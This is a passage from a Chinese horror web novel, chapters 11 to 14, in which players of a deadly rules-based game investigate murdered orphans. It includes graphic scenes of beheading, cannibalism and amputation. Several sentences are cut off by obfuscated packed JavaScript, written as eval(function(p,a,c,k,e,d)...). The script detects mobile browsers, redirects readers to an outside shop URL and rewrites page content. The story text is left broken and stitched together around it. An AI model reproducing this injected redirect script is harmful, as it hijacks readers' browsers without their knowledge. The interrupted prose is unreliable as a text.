张潜的尖叫划破黑暗。 “放开我!救命!白羽!婉儿!!救——” “咔嚓。” 声音戛然而止。 浓重的血腥味弥漫开来。 “嘿嘿嘿嘿……都睡着了吗?” ——声音,是贴在我耳边说的。 我全身僵住,心脏几乎停跳。 我努力安抚着自己,不能睁眼,屏住呼吸。 “真乖~” 11. 第11章 直到天亮,我们才敢睁开眼。 我和其他人对视了一眼,看样子昨晚谁都没睡着。 “张潜!” 白羽和梁婉儿同时扑了过去。 张潜的头已经被砍掉了,脸上的表情定格在极度的恐惧之中。 系统音随之响起: “叮咚,玩家张潜未遵守院规,超过就寝时间未就寝,拒绝团队协作。扣除20积分,当前积分为-15,通关失败,判定死亡。” 白羽和婉儿再也控制不住情绪,哭得崩溃。 如果张潜当时肯听劝,和我们一起行动,也许结局会不一样。 系统不仅判定她违反院规,还特地强调了“拒绝团队协作”——这关从一开始,考验的就是合作。 我走过去,把白羽和婉儿扶起来。 “积分是可以救活因通关失败死亡的玩家的。”我直接说道,“但条件非常苛刻。” 她们愣了一下。 “第一,不能频繁消耗积分兑换道具。” “第二,每一关都必须通关,不能失败。” “第三,只有最多一关不是MVP的情况下,才有攒够分的可能。” 我看向她们头顶的数字。 “虽然你们第一关都不是MVP,但这一关我也不会为了你们让出MVP。” “不过,你们可以两个人一起攒积分,彼此照应。” 时间在走,副本不会等人。 “没有时间继续哭了。” “你怎么能这么冷血!”婉儿失控地喊出来,“我们刚死了一个朋友!你连难过的时间都不给我们?!” 我看着她,反问得很直接: “那你在这里哭,又有什么用?” “哭能通关吗?积分会自己出现吗?” “还是你指望眼泪换来其他玩家的同情?” 婉儿张了张嘴,却说不出话。 白羽轻轻拍了拍她的背,示意她别再说了。 “你刚才那么坚决地说不会让出MVP,”她低声问,“是因为你也要攒积分,去救一个已经死去的人,对吗?” 我没有回答。 她却继续问了下去,声音很轻,却像针一样扎人: “那如果你发现,不管怎么努力,都救不了你想救的人呢?” 这句话让我心里猛地一沉,怒意一下涌上来。 “你什么意思。” “晨晨。”丁黎梓忽然插话,打断了我们,“如果你积分不够,我会分给你的。” 谢文岚也开口:“只要我女朋友能平安通关,我也会把积分分给你。” 我看着他们两个人,沉默了片刻。 “……谢谢。” 系统宣判结束后,张潜的尸体连同地上的血迹一起,像被抹去的残影般缓缓消散,仿佛昨晚的一切从未发生过。 可我们都知道,那是真的。 我强迫自己冷静下来,也逼着自己继续思考。 白羽和梁婉儿抹掉眼泪,眼眶通红,却还是站了起来。 活着的人,没有资格停下。 “昨晚九点之后,你看到什么了吗?”我问谢文岚。 谢文岚点头,向众人解释:“我在上一关拿了MVP,获得了一次性能力——闭眼状态下,能跟睁眼一样看到十分钟内发生的事。” 他顿了顿,语气明显沉了下去。 “我看见一个中年男人走进寝室,用刀杀了张潜,他力气很大,动作干脆利落。之后,他逐个走到我们面前,贴得很近,确认我们有没有闭眼睡觉。” 空气瞬间凝固。 “嗯。”我接话,“他当时就在我耳边说话。” “那个人,肯定就是院长。刘慧的日记里写过,陈洁被院长带走后,就再也没回来。”谢文岚冷静分析。 “没错。”我接过话,“只有院长,才有资格在熄灯后进入寝室,贴着脸检查孩子是否‘守规矩’。而且……孩子死了,却没人追究。除了院长不会有其他人。” “可问题是,”丁黎梓皱眉,“院长为什么要把所有孩子都杀掉?” 我重新翻开那本日记,字迹虽然凌乱,必然是就寝之前匆忙写的,不过逻辑都很通。 从内容来看,陈洁是第一个出事的孩子。 而日记里明确记录的失踪事件,只有四个。 再加上写日记的刘慧本人—— 这意味着,刘慧是第五个死亡的孩子。 “可宿舍里一共有八张床。”我合上日记,“剩下的三个孩子,死亡线索不在这里。” 其他线索,一定还藏在别的地方。 我从记录陈洁失踪的那一页继续往后翻。 “2025年6月20日。今天,音乐课上,小林不愿意一起合唱,院长发现他张着嘴却不出声,骂他是装模作样的不顺从听话的坏孩子。我害怕极了。不只是因为小林被责骂,就连声音最好听的琴琴,也因为唱错了一个音,被院长罚了晚饭。” 从这段日记里基本可以确认,王琴琴就是那个在简谱上写错音符的孩子。 “琴琴哭着跟我说她好饿。她觉得是自己歌没唱好,才被罚没饭吃。她说,晚上睡觉的时候要多练一练,第二天唱给院长听。” 晚上睡觉的时候练歌……? “熄灯前,我劝她别在九点之后唱歌。她却说没关系,会蒙着被子小声哼,院长一定听不到。” “可那天晚上,院长还是来查寝了。我们一个个都闭着眼睛,不敢动,也不敢出声。琴琴躲在被子里哼歌,忘了时间,更没听见脚步声。” “没有人敢提醒她。” “院长掀开了她的被子,把她拖了出去。琴琴哭着求饶,说她是为了院长才偷偷练歌的。” “我只听见院长低声说——” “‘你唱出的歌不够纯净,这样的喉咙就该被净化。’” “那之后,琴琴就消失了,院长说……” “她变成了无声的天使。” “无声的天使……”我低声重复了一遍,忽然有了不好的联想,“琴琴会不会……被院长毒哑了?” 我随即否定了这个想法:“不对,反正都要杀了,毒哑还多此一举。更像是……直接割喉。” 谢文岚沉吟了一下,点头:“你这个推断很合理。” “可日记里没有提到尸体的下落。”白羽皱眉,“她是被拖出去的。” 我脑中迅速串联起线索—— 夜里、唱歌、被拖走、嗓音、‘净化’。 “音乐室。”我抬头,“她有可能是在音乐室被杀的,或者尸体被处理在那附近。” “那就去看看吧。”谢文岚应声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肉是馊的,酸味压不住;料酒放得过重,呛得发苦;葱、洋葱、八角水的味道混在一起,浓得实在是刻意,像是在拼命掩盖什么。 “别吃了。”我低声说,伸手轻轻拍了拍白羽和婉儿的手背,眼神示意她们放下筷子。 就在这时,大爷端着碗走了过来,嘴角挂着说不清是笑还是僵硬的弧度。 “青菜粥,好喽。” 我用勺子搅了搅。 确认没有肉。 “……喝粥吧。”我说。 几人沉默不语照做。 “这粥给得也太多了,饺子都吃不完了。”我喝完粥,强迫自己露出若无其事的表情,“不过这馅味道还挺香。” “那当然香了,”大爷眯着眼笑,“这可是好肉。” 我心里一沉,没表露出来。 “能打包吗?我们晚上回家吃。”我把空碗推到一旁,语气随意,“下次还来您这儿。” “行啊。” 大爷点点头,从兜里慢慢摸出五颗糖,放在桌上,“吃完饺子含一颗,去去嘴里的味儿。” 12. 第12章 糖纸落在桌面上,发出轻微的一声脆响。 我们几人面面相觑。 ——和三号床底下发现的糖纸,一模一样。 空气仿佛凝住了。 最终,我们强装镇定,谎称家里要办酒席,正好缺饺子,把锅里所有的饺子都买了下来。 大爷乐呵呵地应着,动作麻利,脸上违和的笑意看得我瘆得慌。 出了小屋门,梁婉儿终于忍不住,扶着墙剧烈地呕吐起来。 “所以……这、这是……” 她抬起头,脸色惨白,声音发颤,话却怎么也说不完整。 “八成是三号床那个孩子。” 我拍了拍她的背,从口袋里递过去一张纸巾, “只是现在,还差最后一步,就是确认他的名字。” 风从山间吹过,带着一股若有若无的腥甜味。 回到寝室,我又翻来了刘慧的日记。 “今天发糖了。院长说,只有安静的孩子才能得到。阿默又得到了,因为他总是不说话,只是看窗外。但他好像……不太开心。” “后来,我也得到了。我把我的糖给了陈洁,他笑了。阿默看到,悄悄跟我说:‘别吃太多。会做红色的梦。’” “我不懂。糖是甜的,梦怎么会有颜色?” “阿默又坐在窗边,用他的筒(他管那叫望远镜)看啊看。我问他看什么,他指着远处山上一个很小很小的房子,说那里晚上会亮起一盏黄色的灯,像一颗糖。‘我想去那里,’他说,‘那里没有院长,糖一定是甜的,不会做噩梦。’” “阿默做噩梦了,我听见他在哭。早上我问他,他眼睛红红的,可他看起来有话要说,却什么也没说出来。他不停晃着脑袋,好像那样就能把噩梦赶跑。” “阿默不见了。院长说,他去‘更好的地方’了,我猜,就是那个亮着黄灯的小屋。可是……山上的小屋,灯是亮的,但为什么我觉得……那么冷?” 最后一页,只有一行用铅笔用力写下的字,几乎划破纸。 “我再也不吃糖了。” “再也不。” “阿默的糖,还在他枕头下的床板缝隙里。它好像在看着我。” 已知的七个名字里,没有“阿默”。 第八个孩子……会是这个从未被记录的名字吗? 我示意谢文岚,我们小心翼翼地掰开一个冻硬的饺子。面皮碎裂,露出内部暗红的馅料,以及,一小节清晰可辨的、属于儿童的细小指骨。 沉默就是答案。 我们默默将所有饺子收集起来,放在三号床上。 我目光扫过神情各异的队友,声音在死寂中落下: “三号床的孩子,叫阿默。” 饺子静悄悄地躺在那里,没有如其他尸体般消散。 我知道,我答错了。 “啊哦——” 系统的声音毫无预兆地炸开,带着戏谑的轻快。 “回答错误!真可惜,要接受惩罚啦~” 寒意瞬间爬满脊背。 “惩罚三选一:A. 削去双眼。B. 刺破耳膜。C. 砍下手臂。” 冷汗瞬间浸透了内衫。 果然,我还是这么倒霉。 余光里,队友们脸色惨白,惊愕与恐惧凝固在脸上。 十年前的记忆碎片却在此刻闪过—— 那个在游戏里侥幸遇到的“基层工作人员”酒后含糊的嘟囔。 赌了! “我选C。砍下手臂。”我的声音平静,甚至压过了自己如擂鼓的心跳。 “晨晨!不要!!” 丁黎梓像疯了一样扑过来,双手死死抱住我的手臂,泪水在眼眶里打转:“砍我的!求你了系统,砍我的!!” 我用了点力推开他,直视他惊慌的眼睛:“信我,我有办法。” “3~” 系统的倒计时开始,欢快得像儿童游戏。 “2~” 丁黎梓被谢文岚死死拉住,发出困兽般的呜咽。 “1!” 咔嚓。 没有刀光,没有过程。 “呃!!” 左臂处传来一声清晰的、令人牙酸的骨骼断裂闷响,紧接着是肌肉与血管被瞬间强行撕离的剧痛。 视野猛地一黑,不受控制地向前扑倒,膝盖重重砸在地上。 断口处一片平滑,鲜血在迟滞了半秒后,才如爆裂的水管般喷涌而出。 我咬紧牙关,眼前发花,右手却已本能地死死掐住了左臂上段,用尽全身力气压迫止血。温热血流仍不断从指缝间溢出,迅速在地面漫开一片刺目的红。 “惩罚完毕!各位玩家请再接再厉!祝游戏——愉快!” 系统的尾音上扬着消失。 愉快……? 我蜷在地上,剧烈的疼痛和失血带来的寒冷让我控制不住颤抖。 这该死的、疯子一样的游戏! “晨晨!晨晨!!” 丁黎梓的喊声像是隔着水幕似的传到我耳朵里,十分模糊,他挣脱了谢文岚,手指颤抖着却不敢碰那惨烈的断口。 视野像接触不良的屏幕,忽明忽暗。左臂处尖锐的痛变成一种强烈的灼烧感,还有伴随着血液离开身体的、逐渐加深的寒冷。 “先……带我去医务室……” 我忍痛咬牙切齿,每个字都耗着力气。 必须去一个可能有基础止血物资和相对封闭空间的地方。 “好!抓紧我!”丁黎梓迅速脱下外套,胡乱团了团压在我断口上方,然后猛地将我背起。动作牵动伤处,我眼前一黑,喉头涌上一股腥味。 一行人跌跌撞撞冲出寝室。 谢文岚紧跟在一侧,脸色铁青,两只手死死掐住我残臂的上端——用残酷的力道压迫着腋下的动脉。 剧烈的疼痛让我觉得时间过得好慢,但血流的速度似乎被这正确而粗暴的方法遏制了些许。 奔跑。颠簸。 走廊的墙壁在余光里扭曲后退。 失血带来的眩晕感潮水般一阵阵袭来,耳朵里充斥着我自己粗重的喘息、队友凌乱的脚步声,以及……一种越来越清晰的、来自身体内部的空洞鸣响。 视线越来越模糊,仅存的意识像风中残烛,牢牢锁在门上的牌子: 医务室…… “晨晨,忍着点,必须消毒。” 丁黎梓的声音在发抖,动作却没有迟缓。 冰凉的酒精淋上断口的瞬间,我身体猛地一痉,像被烙铁贯穿,却连惨叫都化为喉头一口抽吸的冷气。 视野彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976126|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底白了,只剩下纯粹的、撕扯神经的痛。 谢文岚用找到的剪刀剪开我左臂残留的衣袖。 “压住这里——腋窝底下三指。用最大力气。” 他引导着丁黎梓的手,死死按在我腋下深处。专业的压迫点让喷涌的血流终于变成了缓慢的渗涌。 紧接着,他们用能找到的最干净布料叠成厚垫,牢牢覆盖在断面上。 谢文岚开始用绷带进行加压包扎——他先从我的胸口上方斜跨缠绕,固定住敷料,然后一圈圈交叉环绕肩部和残肢上端,每一次缠绕都施加了极大的压力。 剧痛过后,是一种麻木的虚脱。 丁黎梓小心地托起我的头,将水瓶凑到我唇边。 时间在昏暗的医务室里失去了意义。 不知过了多久,那眩晕和寒意才稍稍退去,留下劫后余生的清醒。 我靠着冰冷的墙壁,努力梳理混乱的线索。 “所以……”我吸着气,声音嘶哑,“那具尸体……不属于未知名字的第八个孩子…它就在我们知道的七个名字里……” “晨晨,求你,别说了!”丁黎梓半跪在我面前,眼睛通红,“今天就到这里吧!饺子是熟的……至少……至少不会像生肉那样腐烂放毒……我们今晚没必要非要找到名字。” ……糖、红色的梦。 我突然想起刘慧日记里那些字句。 一个笃定的猜想,压过了疼痛带来的昏沉。 我用还能动的右手,费力地从口袋里摸出那颗用皱糖纸包着的糖。它躺在掌心,在昏暗光线下泛着不自然的油亮。 我把糖递过去,声音微弱,“把糖纸拆了,喂我吃了它。” 丁黎梓愣住了,看着那颗糖,又看着我惨白的脸:“现在?为什么?你需要的是水,是休息——” “打开它。”我打断他,手因脱力微微发颤。 他虽然不解,咬了咬牙,终究还是小心翼翼地剥开糖纸,将那颗琥珀色的硬糖送到我唇边。 糖触到嘴唇的瞬间,一股异常甜腻的香气先一步钻入鼻腔。 “你这是要做什么?”谢文岚的声音从旁边传来。 我来不及解释,也不知道这个想法是不是正确的。 这只是基于破碎线索和十年噩梦经验的一场豪赌。 我含住糖,用后槽牙狠狠咬下。 想象中的甜味没有到来,取而代之的是一种复杂到令人作呕的滋味——初始是尖锐的工业甜,随即泛开陈旧药材的苦,最后,竟隐隐约约渗出一丝…血的铁锈味。 我强行将它嚼碎,混合着唾液咽下。 那诡异的味道一路烧灼到胃里。 “你们…” 我忍着胃部的翻腾和口腔里残留的怪味,看向丁黎梓和谢文岚,一字一句地警告,“绝对,不要碰那个大爷给的糖。” “晨晨?你的脸色……”丁黎梓的声音忽远忽近。 我试图聚焦视线,却看见他们关切的脸庞开始融化、拉长,医务室惨白的墙壁像浸水的画布般洇开。 视野被彻底涂抹,铺天盖地的、不祥的暗红色,如同干涸的、层层叠叠的血痂。 耳边只剩下自己放大的、空洞的心跳声,以及一个蓦然浮现的意识—— 这就是阿默在日记里颤抖着写下的……红色的梦? 13. 第13章 不是梦。 是记忆。是感受。 是粘稠的、带着铁锈味的、活生生的恐惧,顺着糖化开的甜腻毒汁,狠狠捅进了我的脑子。 我在跑。 肺像破风箱一样抽痛,喉咙里全是血沫的甜腥。 走廊好长,没有尽头,两边的门都关着,关得死死的。 后面有脚步声,不紧不慢,嗒,嗒,嗒……是院长的皮鞋。 我不能停,我要去看……去看山上的灯…… 我躲在窗帘后面,紧紧抱着那个冰凉的“筒”。 透过它,能看到远处黑黝黝的山影,和那个小房子。 晚上,它会亮起一点黄黄的光,暖的。 妈妈说,有灯的地方就是家。 我的家……在哪里? 院长说,我姓吴,叫佩林。可这里只有编号,我是三号。 好疼…… 嘴巴被撬开,甜得发苦的糖块硬塞进来。“吃了,吃了就不疼了,吃了就能忘记。” 可忘不掉啊!皮带抽在身上的火辣,关进黑屋时潮水般淹没过来的黑暗和窒息,还有……还有他们看我的眼神,像看一块脏了的抹布,一个不听话的物件。 我不脏……我只是不想说话。 说话有什么用?哭喊有什么用?没有人听。没有人来。 安静点,吴佩林。再安静点。像块石头一样。我对自己说。 我把所有声音,所有想喊出来的话,都死死压在喉咙底下。 院长的脸和声音在发酵,变成噩梦。梦里,到处都是红色的……黏糊糊的、漫过来的红色。还有剔骨刀,闪着冷光,一下,一下…… 我又被叫去了。院长今天很亲切,他指着窗外远山:“阿默,你不是喜欢看那里吗?我带你去看看,好不好?” 他的手指很凉。我的心跳得好快,是害怕,还是……一丝可耻的期待?那盏灯…… 然后是剧烈的颠簸,被塞进黑暗憋闷的车厢。 甜腻的味道又来了,比任何一次都浓,糊住了我的意识。最后的清醒里,我听见院长带着笑意的声音:“你马上就能去你最喜欢的地方了,阿默。永远地,成为那片风景里,一道‘安静’的笔画。” 不——! 好痛! 是撕裂的、解构的、切入皮肉筋骨的痛!视野在旋转,天花板上的血污像扭曲的脸。 我看见了……挂钩,铁盆,冒着热气的水,还有……那张在早餐店里和蔼的、此刻却模糊成一团阴影的脸。我的身体好轻,一部分,一部分地,离开了…… 我猛地惊醒,暗红的视野骤然褪去,如同潮水退滩,露出医务室斑驳的天花板。 我像离水的鱼一样剧烈抽搐,残存的左臂撞在墙壁上传来的剧痛,却将我从那溺毙般的幻觉中悄悄拖了回来。 “晨晨!晨晨!” 丁黎梓用力按住我完好的右肩,试图制止我无意识的挣扎。 谢文岚也扑了过来,他的手按在我的颈侧,感受着我狂飙的脉搏。 头沉得像灌满了铅,嘴唇下意识地分开,喉部的肌肉绷紧,可只有一片死寂。 我愣了一下,不信邪地再次用力。下颌开合,舌尖抵住齿背。 还是没有一点声音。 是那颗糖所代表的契约?是系统给予“知晓真名”的代价?或者……是吴佩林那最终被剥夺了声音、化为寂静“一部分”的命运,同步到了我的身上。 “晨晨?你想说什么?你……你的声音呢?”丁黎梓的瞳孔猛地收缩,他显然看出了我的异常。 谢文岚一步上前,他的手指压在我的喉结两侧,感受着徒劳的振动。 “声带机能似乎正常,但声音无法传出……可能是被系统强制‘静音’了。” 嗯,他也立刻意识到了。 不能说话,在这个最需要沟通的规则怪谈里,无异于被折断了一柄关键的武器。 我抬起唯一完好的右手,勉强做了一个“笔”和“纸”的手势,目光急切地扫向医务室那些布满灰尘的抽屉和柜子。 我将吴佩林的名字写了下来,终于……找到了第三个孩子的身份。 我缓了好一会儿,才开口提议去音乐室,继续找那个写错简谱的孩子的线索。 丁黎梓强烈反对,但我没听。 系统虽然“闭麦”了我,但为了能和大家交流,我还是带上了纸和笔。 现在才晚上六点,可教学楼里却一点光都透不进来,好在谢文岚还带着手电。 我们几乎把整栋楼都跑遍了,却始终没找到音乐教室。 我突然想起,教学楼一楼尽头似乎还有向下的楼梯。 难不成……音乐教室在地下一层? 这太不合理了。教学楼这么大,孩子也只有那几个,怎么会把音乐室建在地下? 顺着楼梯往下,尽头果然出现了一扇门。 门上,是一个数字锁。 “这是要我们打开锁吗?”丁黎梓伸手碰了一下数字锁。 下一秒,屏幕亮起。 ——「一闪一闪亮晶晶」 字样只停留了一瞬,随即熄灭,又跳出一行新的数字: 14_ “这什么意思?”丁黎梓皱眉。 我在纸上飞快写道:“既然提示是歌,答案一定和旋律或简谱有关。” “可现在就三个数字。”谢文岚低声说,“范围太大了。” 我把《一闪一闪亮晶晶》的简谱完整写了下来: 1 1 5 5 | 6 6 5 - | 4 4 3 3 | 2 2 1 - | 5 5 4 4 | 3 3 2 - | 5 5 4 4 | 3 3 2 - | 1 1 5 5 | 6 6 5 - | 4 4 3 3 | 2 2 1 - | 锁面上已经给出了两个数字:1 和 4。 “会不会是统计某个音出现的次数?”丁黎梓分析着,迅速扫了一眼:“如果是这样,1一共出现了6次,4出现了8次。” 他抬头看向那个空着的数字。 “那最后一个,我觉得可能是对应出现次数更多的那个音。” “——比如,10。” 白羽点了点头:“听起来,至少比乱试靠谱。” 空气一下子安静下来。 只剩下锁屏上闪烁的光,像是在催促我们做出选择。 “是数字5。”丁黎梓在我写的简谱上数了数,“在这段简谱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976127|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,1出现了6次,2出现了6次,3出现了8次,4出现了8次,5出现了10次,6出现了4次……所以答案应该是5。” 我正觉得哪里不太对劲—— 简谱里出现6次和8次的数字各有两个,可为什么锁上前两个数字是1和4,而不是2和3呢? 我刚想让丁黎梓先等等再输入答案,可他却抢先一步,按了下去。 “嗡嗡,嗡嗡……” 门锁闪烁着红光,每闪一次就伴随着刺耳的声音,红光映在黑漆漆的楼道里,把几人吓得全身紧绷。 忽然,我竖起耳朵,示意大家安静。 “好像……有脚步声。”我写下。 “啊!不会是院长吧?”谢文岚紧张地说。 “啊啊啊!不要啊!他一定是来杀我们的!我们答错了,他听到噪音了!”梁婉儿慌得哭喊,同时用力捶打丁黎梓,“都怪你,你怎么乱输答案!” 白羽立刻捂住梁婉儿的嘴,制止她。 得快点,得快点!如果现在跑,也来不及了,我们只有这一条路,一定会和院长撞个正着的! 我紧紧抓着写着简谱的纸,看着这些数字。 快想想,如果不是数字的个数……会不会是……简谱数字的总和?? 脚步声越来越近,越来越急,时间只剩几秒,我粗略算了下,赶紧输入答案—— 8。 门锁瞬间变成绿色,千钧一发之际,我们猛地推开门冲进去,然后拼命关上。 门刚关上,就传来“咚咚咚”的撞击声,像有人要把门砸开。 我们用身体死死顶住门,不管地下一层有多黑,只希望那人别闯进来。 稍微冷静下来后,我拍了拍大家的肩膀,用纸条写下:“他应该进不来。如果能进来,他就会直接输入数字开门,而不是一直砸门。” 大家看了,也终于放松了下来。 我们没再理会敲门声,拿着手电小心往里走,渐渐地,敲门声停了。 “太好了,晨晨,你真厉害!”丁黎梓摸了摸我的手背,“对不起,刚刚我输错答案,害得你被吓到了。” 我下意识把手抽回,顺便扫了一眼周围的人。黑暗里,其他人根本没注意到丁黎梓的动作。 我摇了摇头,示意他我没事。 明明被吓到的是婉儿,干嘛非要来安慰我。 于是,我快步跟在谢文岚身旁,和丁黎梓拉开了一些距离。 “等等!”谢文岚的手电忽然晃了一下。 “怎么了?”梁婉儿害怕地躲在丁黎梓身后。 “刚刚好像……有个人影。”谢文岚的声音带着一丝颤抖。 “什么!!别吓我啊!!你没看错吧!?”梁婉儿惊恐地紧抓着丁黎梓的衣服。 “诶诶,我衣服别给我抓皱了……”丁黎梓抱怨道。 谢文岚拍了拍他们的肩膀,做了个“嘘”的手势。 “轻轻哼哼轻轻唱,缩进被子莫声响。脚步声音在走廊,数十下前别张望……” 这段歌词用的是《一闪一闪亮晶晶》的旋律,但几个音明显跑调,就像四号床上的错音一样。 “啊——”梁婉儿刚要尖叫,被白羽用胳膊肘轻轻顶了一下,示意她别出声。 14. 第14章 “呜……为什么要叫……我唱歌真的那么难听吗?”那哭声黏腻地钻进耳朵。 我回头,对上梁婉儿惊惶的视线。来不及解释,我用力摇头,食指死死抵在唇上,再迅速指向自己的眼睛,做出紧闭的动作。 院规第三条:若听到不明哭泣或嬉笑声,请立即闭眼默数十下,切勿回应。 “喂……”那带着泪腔的声音忽然贴得更近了,“你还没回答我呢。我刚刚……跑调了吗?” 寒意顺着脊椎爬上来,我强迫自己合上眼。 倒数开始:十、九、八…… 数字在心底机械地跌落,每一秒都被拖得漫长。耳畔只剩下自己擂鼓般的心跳,和那似有若无、仿佛就贴在面前的细微呼吸声。 ……三、二、一。 我睁开眼。 空荡的走廊里,什么都没有。刚才的压迫感如同错觉。 “啊——!!!” 梁婉儿的尖叫却在这一刻撕裂寂静。我赶紧转身,那道苍白的人影,正静静地、面对面地,站在她眼前,几乎鼻尖相贴。 可下一秒,那人影就不见了。 毫无疑问,那就是王琴琴。 “哎呀呀~” 系统的声音雀跃地炸开。 “检测到玩家梁婉儿违反院规第三条:回应不明哭泣声!现在发放惩罚——‘缄默的馈赠’!希望你能学会‘安静’的美德哦~” 话音未落,梁婉儿喉咙处的皮肤下,仿佛有活物蠕动,骤然浮现出几道深紫色的撕裂状印记。 她猛地捂住脖子,眼睛瞪得极大,泪水汹涌而出,嘴巴不受控制地开合—— 冲出来的,是一串单调、冰冷、如同坏掉八音盒般不断循环的哼唱: “啦…啦啦…啦……” 正是那个纠缠不休的调子。 她惊恐地想把声音捂回去,双手死死扣住嘴。 可那哼唱声如同有了生命,顽强地从她指缝、甚至从脖颈上那微微搏动的紫色印记里,丝丝缕缕地、持续地渗漏出来。 接着,更恐怖的事情发生了。 她的双手,像是被无形的提线操控,以一种极其僵硬的姿势,硬生生从嘴边被“掰”了下来,垂落在身体两侧。 她的脚也开始挪动,一步,一步,朝着走廊深处的黑暗走去,步调与她哼唱的节奏诡异同步。 “婉儿?!你要去哪儿?!”白羽扑上去抓住她的手腕,触感冰凉僵硬。 梁婉儿毫无反应,只是哼着歌,继续向前,力道大得惊人。 白羽被她拖得踉跄,鞋底摩擦地面发出刺耳的声音。 “松手!白羽,她胳膊会断的!”丁黎梓低吼。 白羽咬着牙,直到感觉梁婉儿腕骨在自己掌心发出不堪重负的轻响,才不得不松开。 我们被迫跟随着这具被诅咒的“人偶”,走进了那间弥漫着灰尘与陈旧木头气味的音乐室。 月光从破窗斜照进来,落在钢琴上。 琴凳边,一卷生锈的铁丝盘绕着,像条等待猎物的铁蛇。 哼唱声忽然拔高,变得尖锐、走调。她的脸上,惊恐与木然顺从交织,眼神疯狂地扫向我们,瞳孔的颤动像是在呼救。 梁婉儿在钢琴前停下,颤抖的、不受控制的手,精准地抓起了那卷铁丝。 “不行!婉儿!松开!”丁黎梓和白羽冲上去,死死攥住她的小臂,对抗那股将她手臂拉向脖颈的恐怖力量。 肌肉在对抗中痉挛,骨骼咯咯作响。 我和谢文岚则扑上去掰她的手指。 那握住铁丝的手指如同铁铸,冰冷僵硬,任凭我们如何用力,都纹丝不动。 谢文岚甚至用上了巧劲,试图错开关节,但那力量超乎寻常,仿佛规则本身在固化她的抓握。 眼看铁丝一圈圈缠绕上她纤细的脖颈,勒进皮肉,深紫色的印记在铁锈下肿胀发亮。 我拔出武士刀,朝着绷紧的铁丝狠狠割下。 一声脆响,火星微溅。虎口震得发麻,但那看似锈蚀的铁丝上,别说砍断了,连一道痕迹都没留下。 我甚至想直接砍断她的双手,可她的手腕手指像是突然变硬般,将我的刀弹了出去。 看来……系统不会让任何人阻止惩罚。 “啊!”一声压抑的痛呼。 是白羽。 在混乱中,她的几根手指插进了铁丝与梁婉儿脖颈之间的缝隙。 铁丝瞬间割开她的皮肉,鲜血涌出,顺着铁丝滴落,也染红了梁婉儿的衣领。她脸色煞白,冷汗直流,却倔强地不肯抽手,用血肉之躯做着最后的缓冲。 “求你了,婉儿……不要……”她泣不成声,看着自己逐渐被割得更深的手指,又看向梁婉儿越来越青紫的脸。 梁婉儿的哼唱已经微弱下去,她的视线艰难地移动,对上了白羽泪眼模糊的脸。 那一瞬间,她眼中的惊恐、挣扎,像潮水般褪去,只剩下深不见底的哀怜。 然后,极其轻微地,扯动了一下嘴角。 像是在恳求白羽:放手吧。 “不……!”白羽绝望地呜咽。 我和谢文岚对视一眼,不能再犹豫了。 我们强行将白羽血肉模糊的手指,从铁丝的缠绕中抽了出来。 最后一道屏障消失。 铁丝发出一声紧绷嗡鸣,彻底勒紧。 哼唱,戛然而止。 音乐室里,只剩下铁丝摩擦颈骨的声响,和我们无力的喘息。 白羽的哭声在尸体消散的瞬间,像是被抽走了全部支撑,戛然而止。她眼睛空洞地睁着,身体晃了晃,瘫软下去,昏厥在血泊旁。 丁黎梓抿着嘴,蹲下身,用有些发颤的手臂将白羽背起。温热的眼泪和血迹,浸湿了他后背一片。 音乐室里寂静得可怕,只有灰尘在斜照的月光下缓慢浮沉。 我看向那卷静静躺着的、仿佛在等待下一个目标的铁丝。 没有时间哀悼,甚至没有时间恐惧。 我想起了刘慧日记里的那句话: 王琴琴的歌声……因为跑调,被院长说不纯净。 纯净…… 如果“跑调”是不纯净,那意思就是只有正确的音阶才算得“纯净”了吧。 在院长那扭曲的评判标准里,或许“纯净”与“准确”是划等号的。 那么,这架属于音乐室、或许也最终见证了王琴琴死亡的钢琴……它的音阶,是否还“纯净”? 我走向那架覆盖着厚厚灰尘的三角钢琴。琴盖紧闭,像一口黑色的棺椁。 打开琴盖,露出泛黄且有些残破的琴键,一股木头腐朽的气味扑面而来。 如果这是一个用音乐和“纯净”伪装的陷阱或线索,那么第一步,或许是校准,或者验证。 我没有贸然去弹奏任何旋律——在怪谈里,错误的旋律可能直接招致死亡。 我伸出手,从最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976128|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低音的A0开始,一个键,一个键按下去。 